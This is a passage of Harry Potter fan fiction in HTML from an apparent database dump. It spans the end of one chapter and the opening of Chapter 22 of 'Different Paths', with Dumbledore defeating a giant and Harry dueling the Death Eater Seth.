likely the first person whom has ever treated Fenis like a person.&nbsp; Like an equal; like a warrior.&#8221;</p>\n\n<p>Ginny wanted to question Remus further but she was now too enraptured in the duel between Dumbledore and the giant.&nbsp; Fenis was poised at a spot where Dumbledore was poised just within reach of his blade.&nbsp; That blade was now held over Fenis&#8217;s head, ready to strike down.&nbsp; Dumbledore was holding eye contact with Fenis, his wand pointed straight at him.&nbsp; Yet, neither was moving nor did they seem to be ready to do any moving.</p>\n\n<p>&#8220;What are they doing?&#8221; exclaimed Ron.&nbsp; &#8220;Why aren&#8217;t they doing anything?&#8221;</p>\n\n<p>&#8220;In a one hit duel, everything depends on who makes the move first,&#8221; answered Hermione.&nbsp; &#8220;Of the two, Dumbledore is the more accomplished dueler, but since he isn&#8217;t going to be using any shield charms, Fenis could finish him off in one go.&nbsp; For example, Dumbledore could make the first move, whereupon the giant would strike him down while he&#8217;s still making the wand movements or the incantation.&nbsp; However, if Fenis makes the first move, he might miss and be completely be open to whatever spell Dumbledore is planning on using.&#8221;</p>\n\n<p>&#8220;You&#8217;re kidding!&nbsp; You mean they&#8217;re actually going through all that just by starring at each other?&#8221; exclaimed Ron.</p>\n\n<p>&#8220;A lot can happen with just some simple eye contact, Ron,&#8221; said Hermione.</p>\n\n<p>For a tense five minutes, Dumbledore and Fenis continued starring at each other.&nbsp; Finally, Dumbledore broke the ice by saying, &#8220;Tell me, are you that scared of me?&#8221;</p>\n\n<p>The words clearly had their intended effect as Fenis&#8217;s eyes gleamed and his lips twisted up into a smirk.&nbsp; Fenis made a thundering, deep cry that was heard throughout the surrounding area and swung his blade toward the ground in one mighty blow.&nbsp; The resulting sound of the blade smashing into the ground sounded like a canon explosion (which the muggles of the surrounding area would&#8217;ve recalled as thunder as soon as their memories were modified) and lifted a fog of dust.&nbsp; When the dust had finally settled, there was a twenty-five foot diameter crater on a large portion of Charing Cross Road.&nbsp; And there was no sign of Dumbledore.</p>\n\n<p>&#8220;Ah ha ha ha ha ha!!!&#8221; laughed Wormtail.&nbsp; &#8220;You did it Fenis!&nbsp; You defeated him!&nbsp; You did want no one, not even the Dark Lord has been able to do: defeat Albus Dumbledore!&nbsp; Ha ha, now we are the mightiest of all!&nbsp; We are invincible!&nbsp; Why we don&#8217;t even have to fear the Dark Lord any longer...&#8221;</p>\n\n<p>&#8220;Oh shut up!&#8221; yelled Ginny.&nbsp; &#8220;And take a closer look!&nbsp; Fenis hasn&#8217;t finished Dumbledore off at all!&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Wormtail.&nbsp; He started looking around but only caught sight of the former Hogwarts Headmaster when Fenis raised his blade.</p>\n\n<p>When the blade had come crashing down, Dumbledore had leapt away to the side away from the others and had clung onto that side of the blade after it had crashed, hidden from Fenis&#8217;s view.&nbsp; Now that Fenis had raised the blade, and Dumbledore along with it, the aged wizard had a higher vantage of Fenis and a clear shot at him.&#8221;</p>\n\n<p>&#8220;Most impressive!&nbsp; Most impressive Mr. Fenis!&#8221; shouted Dumbleodre.&nbsp; &#8220;But I am afraid I will take victory for myself for this duel!</p>\n\n<p>&#8220;Fenis!&nbsp; Shake him off!&#8221; screamed Pettigrew.&nbsp; He was shocked when the giant did nothing but simply grin as Dumbledore pointed his wand at him.</p>\n\n<p><i>&#8220;Maximus Reducto!&#8221;</i> yelled Dumbledore.&nbsp; The resulting explosion hit Fenis in his chest, completely knocking the wind out of the giant.&nbsp; Fenis heaved and let out a small yelp.&nbsp; Then, like a mighty cedar falling before the axe of a woodman, the giant came crashing down to the ground, taking out several buildings in his fall and shattering more of the pavement of the road they were dueling on.</p>\n\n<p>By the time the dust had cleared, Dumbledore had lightly landed on his feet and was calmly walking away from the fallen giant.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;News from the front!&nbsp; From the Death eaters attacking the Leaky Cauldron!&#8221; exclaimed Horace as an owl flew into the main throne room.&nbsp; The owl landed on Horace&#8217;s shoulder and the Dark Lord&#8217;s second in command hurriedly extracted the note from the owl&#8217;s claws.</p>\n\n<p>Horace read through the note very quickly whereupon he exclaimed, &#8220;WHAT?!&#8221; causing the owl to shriek and fly away.&nbsp; &#8220;Failed?&nbsp; All defeated?&nbsp; Even Fenis?&nbsp; How is that possible?!&#8221;</p>\n\n<p>Voldemort, whom had been had been rather gleeful while Harry was invading his sanction, looked positively livid.&nbsp; &#8220;Whom else?&nbsp; Dumbledore.&nbsp; Only he could&#8217;ve defeated Fenis.&#8221;</p>\n\n<p>&#8220;Curses!&nbsp; Curses!&nbsp; Curses!&#8221; shouted Horace as he crumpled up the note.&nbsp; &#8220;How could they fail?&nbsp; How could they fail?&nbsp; All those Death Eaters!&nbsp; Five of the Elite Ten!&nbsp; Even Fenis who should&#8217;ve been undefeatable!&nbsp; All defeated!&#8221;</p>\n\n<p>From his corner near Voldemort&#8217;s throne, Seth started laughing.&nbsp; &#8220;Well the answer to that is quite obvious Mr. Salacion,&#8221; he said.&nbsp; &#8220;The Order of the Phoenix was simply stronger than the Death Eaters and the Elite Ten: especially if Mr. Dumbledore was there.&nbsp; It&#8217;s simply an example of the stronger consuming the weaker, natural law of nature.&#8221;</p>\n\n<p>Voldemort grinned.&nbsp; &#8220;Well said Seth,&#8221; he said.</p>\n\n<p>&#8220;Why thank you Mr. Voldemort,&#8221; said Seth with a smile.&nbsp; Horace scowled but said nothing.</p>\n\n<p>Voldemort stood up.&nbsp; &#8220;Whichever way, we can not let this deter us.&nbsp; We may have lost the Death Eaters, but I myself am still very much present and active so we are far, far away from being defeated.&nbsp; And besides, we should concentrate on the pests in this fortress right now.&#8221;&nbsp; The Dark Lord turned to Seth and said, &#8220;Seth!&nbsp; Go prepare for your duel with Potter!&#8221;</p>\n\n<p>&#8220;Yes sir.&#8221;</p>\n\n<p>&#8220;And remember Seth.&nbsp; Don&#8217;t ever underestimate Harry Potter.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Is he dead?&#8221; asked Ron as he prodded the prone form of Fenis.&nbsp; &#8220;It&#8217;s not like you use a method of no mercy is it?&#8221;</p>\n\n<p>&#8220;I was indeed merciful in this case,&#8221; replied Dumbledore.&nbsp; &#8220;Fenis is still very much alive, though I dare say he will remain unconscious for several hours.&#8221;&nbsp; As if to prove this point, Fenis&#8217;s body twitched a little, though he remained knocked out.</p>\n\n<p>&#8220;Hey everyone, look at this!&#8221; exclaimed Ginny from nearby Fenis&#8217;s left arm.&nbsp; Ron and Remus made their way over to her to see what it was that caught Ginny&#8217;s attention.&nbsp; There, unconscious and pinned underneath Fenis&#8217;s arm was Peter &#8220;Wormtail&#8221; Pettigrew.&nbsp; It was clear that the arm had landed right on top of him as Fenis had come crashing down to the ground.</p>\n\n<p>&#8220;No way!&nbsp; He&#8217;s still alive!&nbsp; He&#8217;s slipperier than an eel.&nbsp; Or is it a rat in his case?&#8221; exclaimed Ron.</p>\n\n<p>&#8220;Pitiful, just pitiful.&nbsp; Gotta wonder how a pathetic creature like this ever got to be one of the Elite Ten,&#8221; said Ginny.</p>\n\n<p>&#8220;I am so ashamed to call him a fellow Marauder,&#8221; sighed Remus.</p>\n\n<p>Meanwhile, Hermione was timidly speaking to Dumbleodre: &#8220;Um, Professor, you mentioned to Ron that you heard everything that was said here.&#8221;</p>\n\n<p>&#8220;Yes I did Miss Granger.&nbsp; I heard everything,&#8221; said Dumbleodre.</p>\n\n<p>Hermione blushed and said, &#8220;The, you know about... about... well about Harry and I...&#8221;</p>\n\n<p>Dumbledore smiled and quietly said, &#8220;Yes Hermione I am very much aware that you are now with child.&nbsp; I do not condone such actions but I still believe you warrant a congratulations.&#8221;</p>\n\n<p>Hermione blushed a tomato red.&nbsp; Somehow she felt the need to explain herself and started ranting, &#8220;It just happened!&nbsp; I mean, Harry was there and I was there.&nbsp; He was looking like me in a way he had never looked at me before and he was just so handsome in the moonlight.&nbsp; And it just happened in this moment of passion.&nbsp; And now, I&#8217;m carrying his baby, and I don&#8217;t know what he&#8217;s going to think about that.&nbsp; And on top of that there&#8217;s the possibility that he might not come back.&nbsp; And I&#8217;m so worried about how Harry is and if he&#8217;s OK and...&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; said Dumbledore.&nbsp; &#8220;You have nothing to worry about.&nbsp; I have plenty of confidence in Harry and I believe you do as well.&nbsp; Have faith in him and I&#8217;m sure he will be all right.&nbsp; Furthermore, if I know Harry&#8217;s character, he would be ecstatic to learn about his baby.&#8221;</p>\n\n<p>Hermione smiled at that.&nbsp; Absently, she let her hand caress her stomach as she lovingly thought, <i>&#8216;Harry.&#8217;</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>&#8216;Harry.&#8217;</i>&nbsp; Confused, Harry looked up for a moment and said, &#8220;Hermione?&#8221;</p>\n\n<p>&#8220;Something wrong Harry?&#8221; asked Sirius as he placed Yasmin down and made his way over to his godson.</p>\n\n<p>&#8220;It&#8217;s nothing,&#8221; said Harry.&nbsp; &#8220;It&#8217;s just... well I just heard Hermione&#8217;s voice.&#8221;</p>\n\n<p>&#8220;What?&#8221; said Sirius and Yasmin at the same time: hearing voices wasn&#8217;t a good thing, even in the wizarding world.</p>\n\n<p>&#8220;Not like she was actually here,&#8221; said Harry.&nbsp; &#8220;More like I heard her voice and my head.&#8221;</p>\n\n<p>Both Sirius and Yasmin placed their hands on Harry&#8217;s forehead, checking his temperature.&nbsp; &#8220;I&#8217;m perfectly fine,&#8221; said an annoyed Harry.</p>\n\n<p>&#8220;Well, you have no need to get anxious now,&#8221; said Sirius.&nbsp; &#8220;We just need to get through a few more fellows, and we&#8217;ll be clear sailing back home.&#8221;</p>\n\n<p>&#8220;Don&#8217;t get so cocky,&#8221; said Yasmin.&nbsp; &#8220;You forget that the next one you are facing is Seth Soran, greatest of the Death Eaters and the Elite Ten.&nbsp; There is no way you two can get through him!&#8221;</p>\n\n<p>&#8220;Yeah, yeah, whatever,&#8221; said Sirius as he hoisted the disgruntled Yasmin over his shoulder again. </p>\n\n<p>&#8220;Why must you carry me like this?!&#8221; demanded Yasmin.</p>\n\n<p>&#8220;What, you want me to carry you honeymoon style?&#8221; asked Sirius.</p>\n\n<p>&#8220;Over my dead body!&#8221;</p>\n\n<p>&nbsp;&#8220;Yeah, whatever.&nbsp; Now come on, lets go!&#8221;&nbsp; He and Harry started running down the corridor again.</p>\n\n<p>&#8220;You know, hearing Hermione&#8217;s voice sure has made me feel better,&#8221; said Harry, smiling a little.</p>\n\n<p>&#8220;Glad to hear you admit it,&#8221; said Sirius with a smirk.</p>\n\n<p><b>To be continued...</b></p>\n\n<p>A/N So it&#8217;s complete.&nbsp; The chapter that&#8217;s so similar to a chapter in RotL that it had me somewhat worried.&nbsp; All well.&nbsp; Be on the look out for another story by me <u>Over the Rainbow</u>, coming soon.&nbsp; Next: Seth and his story.</p> '),
	(33, 22, ' <p><b>Title:</b> Different Paths (22)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> This fic is almost over.&nbsp; Or at least it&#8217;s starting to enter it&#8217;s closing few chapters.&nbsp; Actually, come to think of it maybe the closing chapters won&#8217;t actually start until the next chapter.&nbsp; Then again, that still makes my former sentence make sense since this chapter is the one where we enter the closing chapters while the next chapter is the start of the closing chapters.&nbsp; OK, I&#8217;ve rambled enough, on with the story.</p>\n\n<p><b></b></p>\n\n<p><b>Chapter 22: Seth the Naturale</b></p>\n\n<p>&nbsp;&#8220;This is it, the last door,&#8221; said Yasmin.&nbsp; She was standing in front of a plain ordinary door, a sharp contrast to the elaborate doors of previous Death Eater Elite Ten rooms.&nbsp; &#8220;Behind this door is Seth &#8220;the Naturale&#8221; Soran, mightiest of the Death Eaters.&#8221;</p>\n\n<p>Sirius looked skeptical.&nbsp; &#8220;You know, I&#8217;ve heard a lot about this Seth saying how great he is or how mighty he is and all that.&nbsp; But really, how great is this Death Eater really?&#8221;</p>\n\n<p>Harry&#8217;s face became rather stern and determined as he gripped his wand tighter and said, &#8220;The last time we dueled, my wand was splintered in half.&#8221;</p>\n\n<p>&#8220;What?!&#8221; exclaimed Sirius.&nbsp; But Harry was no longer paying attention to him, his mind going back to the One-Hit Duel he had against Seth in the village of Graypine.&nbsp; It seemed like forever ago even though it only took place a few weeks previously.</p>\n\n<p><i>&#8216;The last time, the outcome was considered a draw since I managed to splinter his wand as well,&#8217;</i> thought Harry.<i>&nbsp; &#8216;But had the duel continued on beyond just one hit, I could&#8217;ve very well have lost.&nbsp; Who knows what could&#8217;ve happened then.&#8217;</i>&nbsp; He shook his head and thought, <i>&#8216;That was then, now is now.&nbsp; I&#8217;m not going to lose this time.&nbsp; Not with my new wand and the Stellar Patronus on my side.&#8217;</i>&nbsp; &#8220;OK, lets go,&#8221; he said.</p>\n\n<p>The room they entered could be described in one word: Spartan.&nbsp; It was huge, full of light (no doubt mostly by spells), and almost completely bare.&nbsp; The walls were an off white color and the floor was made out of dark brown wood.</p>\n\n<p>Seth was standing at the other end of the room, facing Harry and Sirius.&nbsp; &#8220;Hello Mr. Potter, it has been a while.&nbsp; I must confess I am glad you are relatively OK.&#8221;</p>\n\n<p>Harry simply took his wand out and pointed it at Seth.&nbsp; &#8220;Sorry to skip on the pleasantries Seth but I need to keep this short.&#8221;</p>\n\n<p>Seth chuckled.&nbsp; &#8220;I see you that you are concerned about your friends at the Order of the Phoenix,&#8221; he said.&nbsp; &#8220;Well you have nothing to worry about.&nbsp; Just a few minutes ago, we received news that the Death Eaters have been defeated.&#8221;</p>\n\n<p>Harry was so relieved by this news that he felt a little lightheaded.&nbsp; Sirius breathed a sigh of relief and said, &#8220;Thank God,&#8221; while Yasmin simply scowled.</p>\n\n<p>&#8220;Well now that we&#8217;ve got that out,&#8221; Seth took out his wand and made a duel stance, &#8220;shall we end what we began in the village of Graypine?&#8221;</p>\n\n<p>&#8220;I doubt you&#8217;re going to back out now even if I asked you to,&#8221; said Harry.</p>\n\n<p>&#8220;I&#8217;m afraid not,&#8221; replied Seth.</p>\n\n<p>&#8220;Fine,&#8221; said Harry.&nbsp; He also made a stance.&nbsp; &#8220;Lets finish this.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;You are confident that Seth could beat Potter, my Lord?&#8221; asked Horace.</p>\n\n<p>&#8220;Well that would depend,&#8221; said Voldemort.&nbsp; &#8220;Seth definitely has the skills to defeat Potter, but this is Potter he&#8217;s facing after all.&nbsp; Still, there is no way Potter could come out of this duel unscathed.&#8221;</p>\n\n<p>Voldemort looked up at Horace&#8217;s perplexed voice and laughed.&nbsp; &#8220;Do not worry my friend.&nbsp; Seth will not be beaten that easily.&nbsp; He has several edges which Potter will have a very hard time topping.&#8221;</p>\n\n<p>&#8220;Several?&#8221;</p>\n\n<p>&#8220;Three to be exact,&#8221; said the Dark Lord.&nbsp; &#8220;The first is his instinctive killer skills.&nbsp; Seth can use the killing curse continuously from any situation plausible.&nbsp; Some of my Death Eaters may have more particular fondness for the Cruciatus curse, but the killing curse comes so naturally to Seth that he even gives me a bit of pause: hence the reason why he is called &#8216;The Naturale&#8217;.</p>\n\n<p>&#8220;The second is his lack of emotions.&nbsp; This ties into his natural ability to kill so naturally further make him &#8216;The Naturale&#8217;.&nbsp; In a duel, his lack of emotion makes him completely unpredictable, often forcing his opponents to reveal their hand before he does.&nbsp; It was this edge that let Seth triumph over Potter in their last duel.&#8221;</p>\n\n<p>&#8220;And his third edge?&#8221; asked Horace.</p>\n\n<p>&#8220;Ah yes, Seth&#8217;s third edge,&#8221; said Voldemort.&nbsp; &#8220;Tell me Horace, when I sent Seth to assassinate Fudge, didn&#8217;t you ever wonder how Seth was able to catch up and overtake a running carriage?&nbsp; Seth&#8217;s third power is a magical charm he calls &#8216;Fleet Foot&#8217;.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>The lightshow ended with a bang as the two spells collided.&nbsp; Seth backed up a little and observed some of the singes on the wall.</p>\n\n<p>&#8220;Curious,&#8221; said Seth.&nbsp; &#8220;The last time we did that, out wands were splintered, yet this time neither one is harmed.&nbsp; I myself am using my very own wand this time so that would make sense, but what about yours?&#8221;</p>\n\n<p>&#8220;Lets just say it&#8217;s been through an upgrade,&#8221; said Harry.</p>\n\n<p><i>&#8216;An upgrade?&#8217;</i> thought Yasmin.&nbsp; <i>&#8216;Seth&#8217;s wand is far superior to our Lord&#8217;s spare.&nbsp; The fact that Potter&#8217;s new wand can fight back Seth&#8217;s own is a testament to not only the power of the wand but also to the power of the wizard wielding it.&nbsp; Did Potter become so much more powerful in this short time?&#8217;</i></p>\n\n<p>&#8220;Well,&#8221; said Seth.&nbsp; &#8220;I guess this time we can&#8217;t seal this with a one-hit duel.&nbsp; I guess I should up the ante a little by showing another one of my abilities.&nbsp; Here goes, Fleet Foot 80%!&#8221;</p>\n\n<p>Seth suddenly burst forward, at a speed that simply couldn&#8217;t be human.&nbsp; &#8220;What the!&#8221; exclaimed Harry, as Seth zoomed right past him at the speed faster than a cheetah, leaving a trail of destroyed floor.&nbsp; Seth dashed around the room at high speeds and Harry could barely catch sight of him.&nbsp; His feet thundered along the ground sounding a lot like a machine gun, as they took apart the floor, and occasion the walls as Seth dashed along them as well.</p>\n\n<p><i>&#8220;Magicus Ensis!&#8221;</i> yelled Seth.&nbsp; A golden blade, matching Seth&#8217;s brown eyes, emerged from Seth&#8217;s wand.&nbsp; Harry barely managed to dodge the first high-speed swipe Seth made at him with his magical sword.&nbsp; The second slash he blocked by shouting <i>&#8220;Magicus Ensis!&#8221;</i> himself and created a magical green blade to stop Seth&#8217;s.</p>\n\n<p><i>&#8220;Impedimenta!&#8221;</i> shouted Harry.&nbsp; That hex didn&#8217;t hit anywhere near Seth as he was still speeding around the room.&nbsp; Seth made several swipes at Harry with his blade and Harry barely managed to deflect each one.</p>\n\n<p>&#8220;I am most impressed with you Mr. Potter,&#8221; shouted Seth while still running around.&nbsp; &#8220;But I wonder if you will still be able to stop me with Fleet Foot 90%!&#8221;&nbsp; Seth sped so much, he was now completely invisible: Harry could only tell where he was by following the demolishing of the floor, though it was near impossible to tell.</p>\n\n<p><i>&#8216;I need to find a way to track Seth,&#8217;</i> thought Harry. <i>&#8216;A spell that can follow him without sight.&#8217;</i>&nbsp; Thinking about his previous night with Hermione, Harry shouted <i>&#8220;Expecto Patronum!&#8221;</i> and conjured his powerful, corporeal stag patronus.</p>\n\n<p>&#8220;Ride,&#8221; commanded Harry.&nbsp; The silver stag shook its head, charged around the room and finally straight toward the site of destruction.&nbsp; The stag lowered its antlers and managed to bowl over Seth, whom was instantly visible.&nbsp; <i>&#8220;Stupefy!&#8221;</i> shouted Harry.&nbsp; For a second, it looked like Harry ad managed to hit Seth.&nbsp; However, an instant later, Seth appeared behind Harry.</p>\n\n<p>&#8220;Close, very close Mr. Potter,&#8221; said Seth.&nbsp; &#8220;But not close enough.&#8221;&nbsp; With that, Seth slashed into Harry&#8217;s back.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Draco Malfoy took a few breaths as he tried to steady his shaking feet.&nbsp; He had only just been able to stand up a few minutes before and wasn&#8217;t even sure if he could walk yet.&nbsp; <i>&#8216;Let alone be able to cast a spell,&#8217;</i> he thought.&nbsp; <i>&#8216;I can barely carry a wand as it is.&#8217;</i></p>\n\n<p>&#8220;Well, well, well, look who&#8217;s been thoroughly trashed,&#8221; said a familiar voice from the entrance of the room.</p>\n\n<p>&#8220;What?&#8221;&nbsp; Draco looked up to see none other than Severus Snape standing at the entrance of the room.&nbsp; &#8220;Professor Snape?&#8221;</p>\n\n<p>&#8220;I&#8217;m not a professor anymore,&#8221; said Snape.&nbsp; &#8220;Well, you like Hell.&#8221;</p>\n\n<p>&#8220;I feel a lot better than I look,&#8221; said Draco.&nbsp; &#8220;What are you doing here?&nbsp; Potter headed ahead a long time ago.&#8221;</p>\n\n<p>&#8220;That would only matter if I was planning on catching up to him,&#8221; replied Snape.&nbsp; &#8220;And besides there can be certain advantages in staying behind.&#8221;&nbsp; Snape tossed Draco a folded piece of paper.&nbsp; Draco unfolded it and realized it was a hand drawn map of Voldemort&#8217;s lair.</p>\n\n<p>&#8220;I learned a lot during my tenure as a spy,&#8221; said Snape.&nbsp; &#8220;Even if we are able to defeat the Dark Lord, it would be pointless if we got lost in the caverns leading to the surface.&nbsp; It would be good to give that copy to Potter.&#8221;</p>\n\n<p>Draco examined the map more closely: not only did it have in detail the direct route Harry and Sirius had gone down to face Voldemort, but also showed every passageway and shortcut, hidden or visible throughout the lair.&nbsp; He had to admire Snape&#8217;s navigational abilities.</p>\n\n<p>&#8220;You know,&#8221; said Draco, &#8220;with the knowledge you&#8217;ve gained while creating this map, you could&#8217;ve headed off to face the Dark Lord long before Potter was even close.&nbsp; Why haven&#8217;t you done so?&#8221;</p>\n\n<p>Snape was idly examining some of the potions he was carrying.&nbsp; &#8220;First rule of guerilla warfare Mr. Malfoy: never expose yourself.&nbsp; I am going to remain hidden while Potter fights the Dark Lord.&nbsp; In the event that Potter is unable to defeat him, he is still bound to have seriously worn out the Dark Lord.&nbsp; I plan on taking that opportunity to strike at him.&#8221;</p>\n\n<p>&#8220;Very underhanded,&#8221; said Draco.&nbsp; &#8220;But where does that leave Potter?&nbsp; You&#8217;re planning on using him as a decoy as you go after Voldemort yourself?&nbsp; Potter is nothing more than a decoy to you?&#8221;</p>\n\n<p>Snape smirked at Draco.&nbsp; &#8220;You of all people know full well that I have no particular love for James Potter&#8217;s son.&#8221;</p>\n\n<p>&#8220;So this is nothing more than an extension of your extended grudge?&#8221; asked Draco, his voice rising a little.</p>\n\n<p>&#8220;Don&#8217;t be so na&#239;ve,&#8221; said Snape, turning away from him.&nbsp; &#8220;My goal here is the ultimate defeat of the Dark Lord Voldemort, by any means necessary.&nbsp; Remember that Draco: by any means necessary.&#8221;&nbsp; Saying that, Snape walked out of the room and disappeared down the corridor.</p>\n\n<p><i>&#8216;Fascinating and disturbing at once,&#8217;</i> thought Draco.&nbsp; <i>&#8216;Of course given all Severus Snape&#8217;s been through, being a Death eater, then a spy, then an Auror, you&#8217;ve got to admire the strength he has in being able to deal with it all.&nbsp; If only I had strength like that, I never would&#8217;ve gone so close to the Dark Side.&#8217;</i>&nbsp; Draco blinked and gripped his wand harder.&nbsp; <i>&#8216;That doesn&#8217;t matter now.&nbsp; Snape&#8217;s got his method of fighting Voldemort, I&#8217;ve got mine:&nbsp; I just hope I&#8217;m able to provide help to Potter in the state I&#8217;m in.&#8217;</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Harry bit back a cry of pain as he staggered away from Seth, a gaping wound on his back.&nbsp; <i>&#8216;Fast!&nbsp; Very fast!&#8217;</i> he thought.&nbsp; <i>&#8216;I need to rethink my strategy here.&#8217;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8216;This isn&#8217;t good.&nbsp; This is not good,&#8217;</i> thought Sirius.&nbsp; <i>&#8216;I&#8217;ve never seen Harry get hit in the back before.&nbsp; Seth&#8217;s really got an advantage if he&#8217;s got the speed to get Harry&#8217;s backside.&#8217;</i></p>\n\n<p><i>&#8216;Wonderful!&nbsp; Absolutely wonderful!&#8217;</i> thought Yasmin.&nbsp; <i>&#8216;Seth&#8217;s got Potter on the defensive.&nbsp; He might actually be able to beat him!&#8217;</i></p>\n\n<p>Seth however clearly did not share Yasmin&#8217;s optimism.&nbsp; &#8220;Now, that&#8217;s weird,&#8221; he said, a frown on his face.&nbsp; &#8220;I completely expected to kill you with that blow.&nbsp; I thought I had killed you.&#8221;</p>\n\n<p>&#8220;Huh?&#8221; exclaimed Harry.&nbsp; Sirius and Yasmin were also confused for a split second.</p>\n\n<p>&#8220;What are you doing Seth?&nbsp; If you couldn&#8217;t finish him with this blow finish him with the next blow!&nbsp; Don&#8217;t waste time pondering about it!&#8221; shouted Yasmin.</p>\n\n<p>&#8220;All right Harry!&nbsp; Now&#8217;s your chance!&nbsp; Seth&#8217;s doubting himself: you&#8217;ve got the advantage now!&#8221; shouted Sirius.</p>\n\n<p>Seth was still thinking when he looked down at his feet and noticed that his shoes were in complete tatters due to running around with his &#8216;Fleetfoot&#8217;.&nbsp; &#8220;Oh, excuse me Mr. Potter, I need to get my spare pair of shoes.&#8221;&nbsp; Seth then turned his back on Harry and started rummaging around some drawers nearby.</p>\n\n<p>&#8220;Shoes?&nbsp; Shoes?&#8221; shrieked Yasmin as she made her way over to where Seth was looking for another pair of shoes.&nbsp; &#8220;What are you thinking boy?&nbsp; Have you gone nuts?&#8221;</p>\n\n<p>&#8220;He&#8217;s sure got an awful lot of confidence to turn his back on you to change his shoes,&#8221; said Sirius.</p>\n\n<p>&#8220;Doesn&#8217;t matter,&#8221; said Harry.&nbsp; &#8220;I can use this time to dress my wounds up.&nbsp; Help me will you?&#8221;</p>\n\n<p>&#8220;What are you thinking boy?&#8221; demanded Yasmin.&nbsp; &#8220;Turning your back on him like to change your shoes?&nbsp; You had Potter on the defensive!&nbsp; You could&#8217;ve beaten him if you kept this pace up!&#8221;</p>\n\n<p>&#8220;No I couldn&#8217;t have,&#8221; said Seth as he bent down to put on his shoes.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;There&#8217;s something, there&#8217;s something about Mr. Potter.&nbsp; I just can&#8217;t fight him the way I&#8217;m able to fight most other people,&#8221; said Seth.&nbsp; &#8220;There&#8217;s something about him that just takes my edge away.&nbsp; Something very irritating, like a kind of rumbling in the pit of my stomach.&nbsp; It may have looked like I had the advantage out there, but if we had continued dueling that way, I would&#8217;ve eventually faltered.&#8221;</p>\n\n<p>Seth was obviously somewhat confused by what was happening but Yasmin seemed to have realized what was happening.&nbsp; <i>&#8216;My God, I can&#8217;t believe this,&#8217;</i> she thought.&nbsp; <i>&#8216;Seth&#8217;s greatest advantage has always been his lack of emotions.&nbsp; But it looks like fighting Potter has somehow caused his long buried emotions to reemerge.&nbsp; This may not be good.&#8217;</i>&nbsp; &#8220;Seth...&#8221;</p>\n\n<p>&#8220;Do not worry Miss Yasmin,&#8221; said Seth. &nbsp;&#8220;I know in the end that I will win against Mr. Potter because ultimately his way of thinking is wrong.&nbsp; <i>There is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.</i>&nbsp; Since that is the simple truth, there is no way I can lose.&#8221;</p>\n\n<p>As Seth said this, his mind wandered back to three years ago...</p>\n\n<p><i>Three Years ago, in Little Hangleton, one night in&nbsp; June.&nbsp; There was a lot of police activity in the area at the time. &nbsp;Only several nights before, residents had called in about some sort of Satanic ritual taking place in the graveyard below the abandoned Riddle Manor.&nbsp; Some stargazers had turned their telescopes toward the graveyard where they saw some kind of ritual taking place with a legion of hooded men, a cauldron filled with boiling liquid, and a boy tied to a headstone.&nbsp; The police were called, but by the time they arrived, there was no trace of anyone except imprints left in the ground by the cauldron and a few singed tombstones.</i></p>\n\n<p><i></i></p>\n\n<p><i>None of that mattered to the owner of the house just outside of the east side of town.&nbsp; &#8220;Think of me as a freak do 